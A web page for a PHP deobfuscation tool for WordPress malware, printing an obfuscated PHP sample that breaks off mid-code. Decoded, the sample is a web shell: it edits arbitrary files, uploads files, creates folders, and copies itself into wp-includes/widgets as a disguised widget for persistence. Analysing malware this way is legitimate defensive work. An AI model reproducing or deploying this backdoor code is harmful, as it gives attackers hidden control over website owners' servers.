Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto te1Yk; D87An: yPikk: goto bzolY; gHom8: if (is_dir($pZJaV)) { goto tgKSm; } goto rRA6Z; Nx4VG: goto ggFKz; goto QOlif; zIKl7: if (!(strpos($MdddE, "\160\165\x62\x6c\x69\143\x5f\150\x74\x6d\154") !== false)) { goto yhlw5; } goto XYnbJ; XYnbJ: goto h6fje; goto T_yfg; imLId: XjD93: goto t...



Obfuscated php code

<?php
 goto te1Yk; D87An: yPikk: goto bzolY; gHom8: if (is_dir($pZJaV)) { goto tgKSm; } goto rRA6Z; Nx4VG: goto ggFKz; goto QOlif; zIKl7: if (!(strpos($MdddE, "\160\165\x62\x6c\x69\143\x5f\150\x74\x6d\154") !== false)) { goto yhlw5; } goto XYnbJ; XYnbJ: goto h6fje; goto T_yfg; imLId: XjD93: goto t24t2; CjYtD: ejaVL: goto KBbkt; cyS46: JfpnA: goto zQ5lu; vKrmN: function XjLtS($A62rI) { goto hwSGf; RKkm3: goto DGhrT; goto yvhwt; lC3oa: J4hK4: goto KAnGM; iAiGl: echo "\106\151\x6c\x65\40\163\x61\x76\145\x64\40\x73\165\x63\x63\x65\163\163\146\165\x6c\154\171\56"; goto q4Rrs; spokI: $pZJaV = file_get_contents($A62rI); goto pmeSO; YJx4s: goto gIKwA; goto rRzL7; tw278: goto S224Q; goto fpOUx; fe9V5: o7XUd: goto aN6HZ; crUKH: echo "\74\151\x6e\x70\165\x74\x20\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\x69\164\42\40\166\141\x6c\x75\x65\75\x22\123\x61\166\x65\42\x3e"; goto rrKqD; rrKqD: goto CVpLe; goto lC3oa; v6mCv: goto CHApL; goto kWNT2; DlSWr: goto UcuCo; goto mVit1; xSqnG: KZclQ: goto vAu3O; nzjaq: DGhrT: goto iQQsl; UEkTe: goto ddk10; goto Leqi4; g5IXQ: y5WOD: goto spokI; Q61ji: $pZJaV = $_POST["\146\x69\154\x65\137\x63\x6f\156\x74\x65\x6e\164"]; goto oav3c; zem93: goto cJyR0; goto lnvPw; KAnGM: gIKwA: goto Z2EpR; lnvPw: UsHSm: goto Wy1Dc; n0hFq: pU7LY: goto bLIFE; fpOUx: MGI8y: goto kNtPF; bLIFE: CHApL: goto tw278; HU0ZQ: echo "\x3c\x2f\x66\x6f\x72\155\x3e"; goto ivn8E; szHQm: vYqDR: goto zem93; iQQsl: echo "\124\150\145\162\145\x20\x77\141\x73\x20\x61\156\40\x65\162\x72\157\x72\x20\x77\150\151\154\145\40\163\141\166\151\x6e\147\x20\x74\x68\x65\x20\x66\151\x6c\x65\56"; goto UEkTe; uJppl: CVpLe: goto HU0ZQ; hwSGf: goto jDYln; goto WjkVd; iBj0g: jDYln: goto RXz9e; yvhwt: UcuCo: goto crUKH; YyZmw: Vj76O: goto TfzzR; kNtPF: if (!(file_put_contents($A62rI, $pZJaV) !== false)) { goto o19G4; } goto YJx4s; DjBUx: goto Vj76O; goto szHQm; t94ne: goto UsHSm; goto g5IXQ; zQBvX: k8OJ0: goto iAiGl; Z2EpR: goto k8OJ0; goto fe9V5; Leqi4: ddk10: goto v6mCv; rRzL7: o19G4: goto RKkm3; Wy1Dc: echo "\x3c\164\x65\x78\x74\141\162\145\x61\40\156\x61\155\145\75\42\146\x69\154\145\137\143\157\156\164\x65\x6e\x74\42\40\x72\157\x77\163\75\x22\x31\60\x22\x20\x63\157\x6c\163\75\42\x35\60\42\76" . htmlspecialchars($pZJaV) . "\74\57\164\145\170\x74\x61\162\145\x61\76\x3c\x62\x72\x3e"; goto DlSWr; oav3c: goto MGI8y; goto xSqnG; kWNT2: goto J4hK4; goto iBj0g; q4Rrs: goto pU7LY; goto nzjaq; mVit1: cJyR0: goto Q61ji; pmeSO: goto KZclQ; goto uJppl; ivn8E: goto o7XUd; goto n0hFq; TfzzR: goto y5WOD; goto zQBvX; vAu3O: echo "\x3c\x66\157\162\x6d\x20\155\145\x74\x68\157\x64\x3d\x22\160\157\x73\x74\42\76"; goto t94ne; WjkVd: S224Q: goto YyZmw; RXz9e: if ($_SERVER["\x52\x45\121\x55\x45\x53\124\137\115\x45\124\110\117\x44"] === "\x50\x4f\123\124") { goto vYqDR; } goto DjBUx; aN6HZ: } goto teEk2; ffpSo: goto EMDfb; goto Fcu71; aJjkF: echo "\40\x20\x20\x20\x3c\144\x69\x76\40\x63\154\141\x73\x73\x3d\x22\x62\x61\143\x6b\x75\160\55\x62\157\170\x22\x3e\12\40\x20\40\x20\40\x20\x20\40\40\74\x73\164\x72\157\156\x67\76\102\x61\143\x6b\165\160\x73\40\103\162\145\x61\x74\145\144\72\74\x2f\163\x74\x72\x6f\156\x67\76\74\x62\x72\76\xa\x20\x20\40\x20\40\x20\40\x20"; goto q3U1R; qW1l3: function DS87E($mOkU4) { return htmlspecialchars(strip_tags($mOkU4)); } goto FjQWm; jdVi6: if (isset($_POST["\143\162\x65\141\x74\145\137\x66\157\x6c\x64\x65\x72"])) { goto tLO7M; } goto ZEl90; BWhbE: goto T4u5Y; goto Aduqz; bzolY: echo "\x20\x20\40\x20\74\144\151\166\40\143\154\141\x73\x73\75\x22\142\141\143\x6b\165\x70\x2d\142\x6f\x78\x22\40\x73\x74\171\154\x65\75\42\143\157\x6c\157\x72\x3a\43\x66\146\x30\42\76\xa\x20\x20\40\x20\40\40\x20\40\x3f\x3f\x20\74\x73\164\x72\157\x6e\147\x3e\x59\x6f\x75\x27\x72\x65\x20\151\156\x73\151\144\145\40\160\x75\x62\154\151\x63\137\150\x74\155\154\x2c\40\x62\165\x74\40\167\160\x2d\141\x64\x6d\151\x6e\x20\157\x72\x20\167\x70\x2d\x63\x6f\156\164\x65\x6e\164\40\x77\141\163\40\156\x6f\x74\x20\146\x6f\165\156\144\x2e\x3c\57\x73\x74\162\x6f\x6e\147\76\xa\x20\40\x20\x20\74\57\x64\151\166\x3e\12"; goto sefQL; b6NRj: goto Fo_6b; goto hqhca; opz5q: goto aFsh8; goto Jn9Vy; dmUwX: goto kCCgn; goto ekAbD; bTKC7: O3Cze: goto cEjCi; dmYN6: goto USLPD; goto LhTo8; KnC45: goto IBdgZ; goto GL7J6; zQ5lu: goto Sus0c; goto OnZ2J; DwQvc: Kk5Ke: goto jz38u; q7WWK: goto QeE33; goto imLId; MVJi9: z7OhR: goto LY9vW; sefQL: goto r9jyJ; goto Ts479; RFZ73: XVdDE: goto QRmWQ; e0gBl: goto p2Mgb; goto AcEbo; OyIjO: function YQjAC($vauWU) { goto Hdp9S; Y3oYq: pi6zS: goto RkAGQ; saGcv: YU6R5: goto je8tA; L4Axj: goto x39Wq; goto vLeSh; NsJ3z: IXz0D: goto TFzVg; TFzVg: Fn8qK: goto L4Axj; Q7tuo: ZM3XX: goto IJa0T; LoSJ6: return $vauWU; goto yj6WR; LOiov: HK1at: goto YMUC5; PdV7c: ufzoF: goto N1v2N; oPCHq: if ($vauWU !== dirname($vauWU)) { goto HK1at; } goto DKysP; IJa0T: $vauWU = dirname($vauWU); goto PI3Dn; YMUC5: goto wkLYB; goto oDCwO; PI3Dn: goto xd25z; goto FjBwF; je8tA: goto ZM3XX; goto QpQsy; FDONE: goto IXz0D; goto Ink89; YxQGa: l2u6n: goto Q3pwm; dsQKY: return false; goto irF36; irF36: goto pi6zS; goto rT2OA; vLeSh: x39Wq: goto dsQKY; Ink89: fv1O8: goto LoSJ6; yj6WR: goto tVLUO; goto Y3oYq; Hdp9S: goto Sby_2; goto Q7tuo; oDCwO: wkLYB: goto BEfbS; BEfbS: if (is_dir($vauWU . "\57\x77\160\x2d\143\x6f\156\164\x65\156\x74") && is_dir($vauWU . "\x2f\x77\160\55\141\144\x6d\151\x6e") && is_dir($vauWU . "\57\x77\160\x2d\151\156\143\154\x75\144\145\163\57\x77\x69\144\147\145\164\x73")) { goto l2u6n; } goto QEUUF; QEUUF: goto YU6R5; goto YxQGa; N1v2N: goto PewaV; goto NsJ3z; XM2op: tVLUO: goto saGcv; Q3pwm: goto fv1O8; goto XM2op; rT2OA: PewaV: goto oPCHq; uINom: goto ufzoF; goto FDONE; FjBwF: Sby_2: goto PdV7c; QpQsy: xd25z: goto uINom; DKysP: goto Fn8qK; goto LOiov; RkAGQ: } goto DkQ0l; VO3EJ: aNw8s: goto ITodK; GL7J6: tWze4: goto DMyr3; QRmWQ: mGiv3($vauWU); goto k8Hze; jhbaz: goto NsVtf; goto CjYtD; XWHkV: p2Mgb: goto hbiRE; Bn8RS: PHzCb: goto jdVi6; TF48k: XQMp4: goto P0wVq; VW77x: goto VXv7l; goto DwQvc; LhTo8: h_zdC: goto lZX0D; KBbkt: $vipEb = $wnDN1 . "\x2f\x77\x70\x2d\x69\156\x63\x6c\165\144\145\x73\x2f\167\x69\x64\147\x65\x74\x73"; goto W1qPx; g42sD: wdcoO: goto ppqvW; lhT7S: echo "\74\x68\63\76\x44\151\x72\x65\143\x74\x6f\x72\171\40\x43\x6f\156\164\145\x6e\164\163\72\x3c\x2f\x68\63\76"; goto DYn2O; P0wVq: $F8J4a = false; goto nOy4n; ObIrM: kCCgn: goto fWyf0; vRYNf: goto O3Cze; goto J4p2t; BqmrT: goto v9YJv; goto gguQb; FAHfs: goto tWze4; goto D87An; cEjCi: $wnDN1 = yqJAC($MdddE); goto BO4rD; LJ1n5: NsVtf: goto DpGAS; uC5r3: EMDfb: goto Zq318; AqxWW: Tw0XI: goto Ba78S; BbDKh: goto XQMp4; goto T33ZC; hbiRE: echo "\x3c\151\156\x70\x75\x74\40\x74\x79\x70\145\x3d\42\x73\x75\x62\155\151\x74\x22\x20\x6e\x61\x6d\145\75\x22\x63\162\145\x61\x74\x65\137\146\157\154\144\145\162\42\x20\166\141\154\x75\145\x3d\x22\x43\162\145\141\x74\145\x20\106\x6f\x6c\x64\x65\162\42\76"; goto jtPz5; BPSPh: cwAR9: goto iGLTA; CIzvi: goto rFc00; goto uC5r3; h9b4P: goto N1Bla; goto Z9csf; KVo_X: goto aNw8s; goto uAdNh; S8bgW: v9YJv: goto EmgsO; Cwbcg: $bmQgw = $wnDN1 . "\x2f\x77\x70\55\141\x64\x6d\151\x6e"; goto e_x1x; BO4rD: goto pu1NE; goto TcYaX; te1Yk: goto MdgyN; goto H543C; CoQCG: goto Tw0XI; goto Lfg7D; YnORN: goto wMU7v; goto SFICb; SUM_S: goto OJdf9; goto ogpkx; Ba78S: UCkKv: goto TsaVk; sAZ01: echo "\74\150\63\76\125\x70\x6c\x6f\x61\144\x20\116\x65\x77\40\106\x69\x6c\x65\x3a\74\x2f\x68\63\76"; goto qnRF5; qF4rH: $eM5pn = []; goto Qfzgs; b2GVH: goto MLbja; goto QkFGt; jtPz5: goto yvJ8Q; goto TF48k; jKYZg: goto C10Q8; goto CIzvi; g5lKi: AZa9k: goto w8EN4; sO2qg: OmnBP: goto dmUwX; WrkC7: $d4Ee3 = $_GET["\141\x63\x74\151\157\x6e"]; goto JpyVE; H8lZM: xvhPy: goto lhT7S; WLtza: copy($F_ZCv, $QAEVz); goto ZiwxI; hmdW0: $Mj1HQ = $vipEb . "\57\143\154\141\x73\163\x2d\167\x70\x2d\x77\x6f\x6c\x66\55\x77\x69\x64\147\145\164\x2e\160\x68\x70"; goto KqKIJ; fWyf0: $F8J4a = true; goto dmYN6; QkFGt: MLbja: goto rlCLw; OnZ2J: uFcp3: goto c5OfC; krmnW: goto ejaVL; goto ObIrM; wvbd6: aFsh8: goto Q_yIk; jz38u: goto HvJSg; goto fraRf; g9TlC: MCChH: goto O30iG; tch2Y: function YOwUm($vauWU) { goto QtSWS; pLfNI: goto CWlf3; goto zz83q; iMGbt: goto s9Ucy; goto VHx2i; zz83q: lCiOg: goto ZVhI7; QtSWS: goto N1SBA; goto nrBzK; xQkNi: $vauWU = str_replace("\x5c", "\x2f", $vauWU); goto gWoIH; jDlrm: goto GzmWA; goto nSEyR; VHx2i: wYrTj: goto wmhBY; nSEyR: s9Ucy: goto uWEqq; FyWXT: foreach ($ruf6m as $msWRK => $WiWg4) { goto Jg_Sx; a5b6B: rC0IC: goto m2nT9; PjN_s: c5GD3: goto svS1t; NUqqK: y06lk: goto ZS2Sx; uP0Xm: goto c5GD3; goto T80aO; gGe_b: goto pMvLi; goto TpYCS; hJFD2: fkWwi: goto wTg2T; qD_Lv: xQkLA: goto gGe_b; YtPfk: goto y06lk; goto PjN_s; WZMo5: HWSz1: goto wjLMH; G86q6: $lEw91[] = "\42\76" . $WiWg4 . "\74\x2f\141\76\x2f"; goto RhO1s; pSLwA: snmnK: goto Jy61M; Nkm7y: goto k36DR; goto HMmuO; L5nyb: zk3mN: goto g0ihs; fpqtp: gQ0Ue: goto uP0Xm; L2UEb: k36DR: goto k3RhC; m2nT9: goto Eb9pF; goto hJFD2; DZUGl: goto XIXtj; goto a2_2z; g0ihs: $lEw91[] = "\x2f"; goto hRmPN; mtzZx: D1JFB: goto HYfK0; ToM0e: goto tUyRN; goto ZDnrE; VIpFj: XtmDB: goto RtrI0; OS8PI: goto yYWYc; goto QwymC; Jy61M: goto Wm2cO; goto mNDRe; t9Fzx: yYWYc: goto GjSyk; T80aO: Sdj37: goto OmZ6U; QCxXd: goto adf_0; goto VIpFj; RtrI0: if ($WiWg4 == '' && $msWRK == 0) { goto o96Mj; } goto DZUGl; suu58: goto ECcRm; goto WZMo5; Lty9Q: r5bwM: goto YGIjM; QwymC: ZAk4v: goto a5b6B; fIqoh: goto rC0IC; goto YtPfk; hXfxe: if ($WiWg4 == '') { goto D1JFB; } goto Olt4N; ZDnrE: Wm2cO: goto G86q6; ZMz2H: if ($PieIh != $msWRK) { goto hyXOF; } goto Dg9qR; HYfK0: goto Sdj37; goto v6WkR; OswCh: AXjsO: goto JBJBy; Ub2CM: tUyRN: goto fIqoh; VAdka: goto fM7pJ; goto moLeO; UYIbo: goto exIH2; goto GTt3m; OmZ6U: goto rC0IC; goto QCxXd; JBJBy: Pdw0h: goto VAdka; GTt3m: exIH2: goto pSLwA; hZ_Lm: goto snmnK; goto x1tQo; Dg9qR: goto fN2px; goto YMynV; x1tQo: Spbbe: goto E_LHn; TpYCS: pMvLi: goto uyek2; g9DjG: U08NM: goto ZMz2H; wjLMH: $PieIh = 0; goto bVfwG; moLeO: adf_0: goto fpqtp; uyek2: $PieIh++; goto Nkm7y; KOeSY: goto U08NM; goto t9Fzx; hRmPN: goto fkWwi; goto OswCh; a2_2z: o96Mj: goto OS8PI; v6WkR: nY02T: goto arlEh; HMmuO: AXchi: goto hXfxe; bhpn_: Eb9pF: goto Lty9Q; rc5ik: goto AXchi; goto L2UEb; svS1t: $lEw91[] = "\x3c\x61\40\x68\x72\145\146\75\42\77\160\141\x74\150\75"; goto Mj_jY; k3RhC: goto Pdw0h; goto UYIbo; RhO1s: goto ZAk4v; goto g9DjG; GjSyk: $lEw91[] = "\x3c\141\x20\150\x72\145\146\75\x22\x3f\160\x61\164\x68\75\x2f\x22\x3e\x2f\x3c\x2f\x61\76"; goto ToM0e; wTg2T: fN2px: goto suu58; bVfwG: goto AXjsO; goto bhpn_; arlEh: $lEw91[] = "{$ruf6m[$PieIh]}"; goto KOeSY; Pl7za: fM7pJ: goto PDMtd; Mj_jY: goto HWSz1; goto NUqqK; AdVJO: goto zk3mN; goto L5nyb; YMynV: hyXOF: goto AdVJO; E_LHn: goto nY02T; goto Ub2CM; Jg_Sx: goto XtmDB; goto Pl7za; mNDRe: ECcRm: goto qD_Lv; Olt4N: goto gQ0Ue; goto mtzZx; ZS2Sx: XIXtj: goto rc5ik; PDMtd: if ($PieIh <= $msWRK) { goto Spbbe; } goto hZ_Lm; YGIjM: } goto GKQbR; fdDOb: goto lCiOg; goto kOzxl; uWEqq: mgPmH: goto fdDOb; GKQbR: oTLHK: goto iMGbt; VzyAH: GzmWA: goto O_Zqo; yjojT: CWlf3: goto FyWXT; EIzkl: $lEw91 = []; goto pLfNI; ZVhI7: return implode('', $lEw91); goto jDlrm; wmhBY: $ruf6m = explode("\57", $vauWU); goto uIMYW; gWoIH: goto wYrTj; goto yjojT; nrBzK: YV28P: goto EIzkl; kOzxl: N1SBA: goto xQkNi; uIMYW: goto YV28P; goto VzyAH; O_Zqo: } goto FAHfs; cO2Fe: BLmfz: goto dZne0; MeqQI: k5ynd: goto sO2qg; B10uJ: function eWEDv($vauWU, $aRvg0) { goto Dc19Q; A_HZb: sHDZT: goto HVjeq; BInB_: if (file_exists($oxndj)) { goto xGtFf; } goto P3b7Z; AQZ8S: YvWZD: goto BplKk; kd2Ud: U2ipi: goto YRWyD; Dc19Q: goto dIcUe; goto kd2Ud; YRWyD: echo "\106\157\x6c\x64\145\162\40\x27{$aRvg0}\x27\x20\x61\154\162\145\x61\144\171\x20\145\x78\151\163\164\163\x21"; goto FRd0r; HVjeq: mkdir($oxndj); goto lYPkJ; j9eVu: goto XS7VH; goto AQZ8S; eYr74: goto d_XIm; goto LBaSk; e1qCs: goto sHDZT; goto M44b0; lYPkJ: goto sbnM5; goto qoBym; s3HCt: goto vbaze; goto Vpt4Y; LBaSk: sbnM5: goto wcw1W; wcw1W: echo "\x46\x6f\x6c\144\145\x72\x20\x27{$aRvg0}\47\40\x63\162\145\x61\164\x65\x64\x20\x73\x75\143\x63\145\x73\163\146\165\x6c\x6c\x79\x21"; goto j9eVu; COVXV: xGtFf: goto MUMdX; BplKk: J0blq: goto e1qCs; KyECe: goto YvWZD; goto A_HZb; cIFhM: mAXLR: goto ZZ0GF; qoBym: vbaze: goto HuYUQ; FRd0r: goto mAXLR; goto ctKzf; M44b0: d_XIm: goto BInB_; YXt3w: $aRvg0 = dS87E($aRvg0); goto gcTG2; FeE0j: $oxndj = $vauWU . "\x2f" . $aRvg0; goto eYr74; P3b7Z: goto J0blq; goto COVXV; Vpt4Y: CGxeG: goto FeE0j; ctKzf: XS7VH: goto QdfyD; ZZ0GF: goto epA0_; goto KyECe; gcTG2: goto CGxeG; goto cIFhM; MUMdX: goto U2ipi; goto qrB0l; QdfyD: epA0_: goto s3HCt; qrB0l: dIcUe: goto YXt3w; HuYUQ: } goto EYR5O; Eo3Wm: foreach ($eM5pn as $vauWU) { goto jRSHk; X2YrE: goto DpTKV; goto K13ba; fyM3e: F361R: goto dmG9L; lzF_M: goto F361R; goto fyM3e; K13ba: DmFYC: goto cyGlH; EGsdD: echo "\74\142\162\76\xa\40\40\40\40\40\40\x20\40"; goto cyJJA; bag8m: v7OxF: goto EGsdD; cyJJA: goto DmFYC; goto eynSc; eynSc: FmDCv: goto NDqw1; NDqw1: echo "\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20"; goto X2YrE; jRSHk: goto FmDCv; goto PnBO2; dmG9L: g0UkW: goto WK4ND; cyGlH: uxuwZ: goto lzF_M; PnBO2: DpTKV: goto CTMGG; CTMGG: echo htmlspecialchars($vauWU); goto y80MD; y80MD: goto v7OxF; goto bag8m; WK4ND: } goto g5lKi; hHSam: yMj3r: goto Cwbcg; nOy4n: goto qSUIr; goto ow1zy; GNJY6: T4u5Y: goto d0e34; hwcic: goto Mh80k; goto lqsjd; vHBUo: KhpzJ: goto WRCMd; RBDxM: goto XWXcc; goto ymrso; c3Xrd: goto cwAR9; goto yaEiy; k8Hze: goto UXbUr; goto eaDiJ; MO3yq: tLO7M: goto b8qmo; e88Pc: goto wdcoO; goto Q35IC; rRA6Z: goto RG2GP; goto Zxx1A; sniPi: copy($F_ZCv, $Mj1HQ); goto h44v0; ogpkx: FbqFn: goto NzhJw; DYn2O: goto XVdDE; goto nNIpM; Fcu71: hRt28: goto AeaUa; WNdsc: goto IT4Nj; goto g42sD; Qfzgs: goto cfFmc; goto bTKC7; qnRF5: goto z7lmt; goto GNJY6; ZPvOy: Fo_6b: goto sAZ01; lvhUl: fmawl: goto ezG3n; ZiwxI: goto txT1m; goto ZPvOy; u8XgO: OJdf9: goto lzD8l; C5ZHk: goto mEt98; goto lvhUl; nNIpM: USLPD: goto g9TlC; Oi_LD: if (!$F8J4a) { goto YVcvf; } goto GhhFg; hL7EI: DdlOJ: goto qW1l3; q3U1R: goto tvVEy; goto VO3EJ; YxStO: goto PHzCb; goto lyuG5; d1dI_: $eM5pn[] = $Mj1HQ; goto LoM2_; uAdNh: vwIHm: goto nBFaQ; h44v0: goto ZqJi1; goto RxKaH; ymrso: B17zx: goto WHbwu; hCfBF: pu1NE: goto MQmRH; D0tJ5: goto uQw4X; goto lVoUm; lqsjd: Xkf80: goto XllfG; c5OfC: $MdddE = realpath(__DIR__); goto EI7Ic; N0aCE: goto xvhPy; goto fSI2X; YiWEH: GctDH: goto WY2zw; uZPR8: goto ipCK3; goto RzOCE; muRUL: ZhcRC: goto GhAvJ; bQNf1: wMU7v: goto vKrmN; DHOvE: Mh80k: goto B10uJ; T33ZC: OJPeR: goto SbVxC; w8EN4: goto QhoMx; goto muRUL; Z7jVX: kdXkM: goto mI7wP; Jsruj: Dk0cN: goto Y_vFD; GhAvJ: if ($wnDN1 && is_dir($wnDN1)) { goto Te8RO; } goto VDkrf; hqhca: fnrvT: goto v2YkN; H543C: QP36_: goto sniPi; ITodK: VXv7l: goto yDrKG; GAS3w: echo "\x3c\x66\x6f\x72\x6d\40\x61\x63\x74\151\157\x6e\x3d\42\42\x20\155\145\x74\x68\x6f\144\75\42\160\157\163\x74\42\x20\145\156\143\x74\171\160\145\75\x22\155\x75\154\164\151\160\x61\x72\164\57\146\x6f\162\155\x2d\144\x61\164\141\x22\x3e"; goto BWhbE; eaDiJ: ipCK3: goto JnfhL; Zq318: $wnDN1 = substr($MdddE, 0, strpos($MdddE, "\x70\165\142\x6c\x69\143\137\150\x74\155\154") + strlen("\x70\x75\x62\154\151\x63\x5f\150\x74\155\x6c")); goto CoQCG; WY2zw: $pZJaV = $wnDN1 . "\x2f\x77\160\x2d\x63\157\156\x74\145\156\164"; goto krmnW; RzOCE: Wjrfk: goto GywUi; Q35IC: QhoMx: goto cO2Fe; KSLjU: $eM5pn[] = $QAEVz; goto C5ZHk; nBFaQ: function PbkR_($vauWU, $JrJtM) { goto rgdsx; Sc_BO: $aicHL = $vauWU . "\57" . basename($JrJtM["\156\x61\155\145"]); goto IR2_6; ccSPz: ch_6s: goto Mx0bV; i5z3y: YHnEZ: goto Sc_BO; Y2SRa: goto ibLLt; goto W5Ol7; PP6mT: goto MSmr1; goto tkIGr; fukAQ: goto Nz0c6; goto UqwqQ; bvv9K: echo "\x46\151\154\145\x20" . htmlspecialchars(basename($JrJtM["\x6e\141\155\145"])) . "\x20\x75\x70\154\x6f\x61\144\x65\x64\x20\x73\165\143\143\x65\x73\163\146\x75\154\154\x79\x2e"; goto rbO4D; UqwqQ: kJMcE: goto lgQDX; vPPZI: goto W1YJB; goto xIrXd; wmsgx: if (!move_uploaded_file($JrJtM["\x74\x6d\160\x5f\156\x61\x6d\145"], $aicHL)) { goto kJMcE; } goto fukAQ; W5Ol7: uRnTf: goto wmsgx; IR2_6: goto uRnTf; goto lstCl; rgdsx: goto YHnEZ; goto ccSPz; Mx0bV: echo "\x53\x6f\x72\x72\171\54\x20\x74\150\145\162\145\40\167\141\x73\40\141\x6e\40\145\x72\x72\x6f\162\40\x75\160\154\x6f\x61\x64\x69\x6e\x67\40\x79\157\x75\x72\x20\146\x69\x6c\145\x2e"; goto Y2SRa; tkIGr: ITHnB: goto aFKU2; OA1hK: Nz0c6: goto wXaTA; LKqs7: W1YJB: goto IrBSt; lstCl: DHh9p: goto bvv9K; lgQDX: goto ch_6s; goto gFy0p; wXaTA: goto DHh9p; goto i5z3y; gxAAq: goto uw0iS; goto PP6mT; xIrXd: MSmr1: goto OA1hK; gFy0p: ibLLt: goto gxAAq; aFKU2: uw0iS: goto vPPZI; rbO4D: goto ITHnB; goto LKqs7; IrBSt: } goto YnORN; Uq2nS: goto pNLwg; goto cyS46; QOlif: Sus0c: goto XHEpn; Q_al3: IT4Nj: goto gHom8; TCEj6: goto OlHWp; goto LJ1n5; mI7wP: goto OJPeR; goto H8lZM; ezG3n: $vauWU = isset($_GET["\160\x61\164\x68"]) ? $_GET["\x70\141\x74\150"] : getcwd(); goto Nx4VG; TtpvP: goto OmnBP; goto vHBUo; Bn29K: if (is_dir($bmQgw)) { goto JfpnA; } goto Uq2nS; GhhFg: goto EBeUq; goto iZsYs; iZsYs: YVcvf: goto BqmrT; DMyr3: function mgIv3($vauWU) { goto cWSII; k7EL7: NaCf4: goto gpxDS; NQWOC: vufCw: goto H3Lp8; gPEHO: P747b: goto Xg4oP; zq6Bd: goto YXUXK; goto Jnt2g; FJ4gG: goto FSFxg; goto pCA1v; r9vlB: $lZBi2 = []; goto VZQxa; KoFgH: goto t4tMY; goto CD4YR; GDkcZ: $gf2nH = []; goto DM0zF; HDUoV: fgssI: goto b49Fu; U8fmu: pi16x: goto Yplba; a8_K6: goto eVhQJ; goto U8fmu; wsT_g: if (!empty($gf2nH) && !empty($lZBi2)) { goto VJqJ3; } goto zq6Bd; sJ_Si: echo implode('', $gf2nH); goto JtNQd; JtNQd: goto IixnS; goto gAPDe; RfN8u: echo "\x3c\165\154\76"; goto a8_K6; bqC20: goto I2qr9; goto HDUoV; EryWB: pucj8: goto jvfjf; pCA1v: IixnS: goto wsT_g; UolbQ: I2qr9: goto QYP14; H3Lp8: echo implode('', $lZBi2); goto ogHZ6; VZQxa: goto pucj8; goto k7EL7; ftQJ7: FSFxg: goto YUp8X; jvfjf: foreach ($R_nNl as $dpQ4t) { goto vrcjg; iJXT0: ljkZb: goto f6M93; XiG7M: absAO: goto tOVaF; vrcjg: goto k5Aot; goto r0Rxg; whqwO: $aqrPq = filesize($B22wx); goto B13dD; dGdO_: goto RiIoN; goto XiG7M; T6U31: z_qKB: goto mDAqB; YmMiW: mEFBX: goto i0nfK; cfoYo: q1H7e: goto YmMiW; uFS2g: goto absAO; goto p_DYq; hni8m: goto z_qKB; goto Uv8c9; ravo2: $B22wx = $vauWU . "\57" . $dpQ4t; goto dGdO_; E3qYj: dBlb0: goto h32TQ; D2r1I: keMVB: goto uFS2g; G1XjG: goto ljkZb; goto Yhy0L; u7Gz7: vbClr: goto D2r1I; HPjfi: XRcBT: goto KzF75; guthf: FLW59: goto fCS8z; AmAcl: lqNHI: goto GXvSy; p_DYq: k5Aot: goto idpan; pS2BP: RiIoN: goto E1N24; f6M93: goto mEFBX; goto kWfzj; vP4Dj: ovy9j: goto gh7B8; Yhy0L: tMnn0: goto ravo2; r0Rxg: oPyNk: goto YgAZ8; PCeap: goto dBlb0; goto cfoYo; tCSRG: goto bnY0e; goto AmAcl; tOVaF: $eiWkt = is_writable($B22wx) ? "\43\60\60\x66\x66\60\x30" : "\43\145\66\x36"; goto tu24d; f6BWi: ocfHw: goto PCeap; GXvSy: divNU: goto TNZXT; TNZXT: goto lZZ0g; goto u7Gz7; B13dD: goto XRcBT; goto T6U31; q92gL: goto g5_7d; goto fRNce; E1N24: if (!is_dir($B22wx)) { goto FLW59; } goto GwSIC; UYxRI: goto tMnn0; goto iJXT0; cPrUs: zMdPZ: goto UYxRI; O6ih3: aufte: goto LUQkM; LUQkM: $gf2nH[] = "\74\154\151\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\x69\x7a\x65\72\x31\66\x70\170\x3b\x22\x3e\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x3c\x73\x70\141\x6e\x20\x73\x74\x79\x6c\145\x3d\42\143\157\154\157\x72\72" . $lBymf . "\x3b\40\x66\157\x6e\164\x2d\x77\x65\151\x67\150\164\x3a\x36\x30\x30\x3b\42\76\x46\157\154\144\145\162\72\74\x2f\x73\x70\x61\156\76\x20\xa\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\74\141\x20\x68\x72\x65\146\x3d\x22\77\x70\141\x74\x68\75" . urlencode($B22wx) . "\x22\40\x73\164\171\x6c\x65\75\42\x63\157\154\x6f\x72\x3a" . $eiWkt . "\73\x20\x66\157\156\x74\x2d\167\145\x69\147\x68\164\x3a\x36\x30\60\x3b\x22\x3e" . htmlspecialchars($dpQ4t) . "\x3c\57\141\x3e\xa\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\74\57\154\x69\76"; goto IAdgg; sAd3Q: $lZBi2[] = "\x3c\x6c\151\x20\x73\164\x79\154\x65\x3d\x22\x66\x6f\156\164\55\x73\x69\x7a\x65\72\x31\x36\x70\170\73\42\76\12\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x3c\x73\160\141\x6e\x20\163\164\171\x6c\145\75\42\x63\157\154\x6f\x72\72\43\x30\60\60\73\x66\157\156\164\55\x77\145\151\147\150\x74\72\x36\x30\60\x3b\x22\76\106\x69\154\x65\72\74\x2f\x73\160\x61\x6e\x3e\x20\12\40\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\74\x61\40\x68\x72\x65\146\x3d\x22\77\x61\143\x74\151\x6f\156\x3d\x65\144\x69\x74\x26\x66\x69\x6c\x65\x3d" . urlencode($dpQ4t) . "\46\160\x61\164\x68\x3d" . urlencode($vauWU) . "\x22\x20\12\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\163\164\x79\x6c\145\x3d\x22\x63\x6f\154\157\162\72\x23\x30\x30\x34\x37\x61\x62\x3b\x20\x66\157\156\164\x2d\x77\145\151\147\x68\164\72\66\x30\60\73\42\x3e" . htmlspecialchars($dpQ4t) . "\x3c\57\x61\76\40\12\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x28" . $B3F4l . 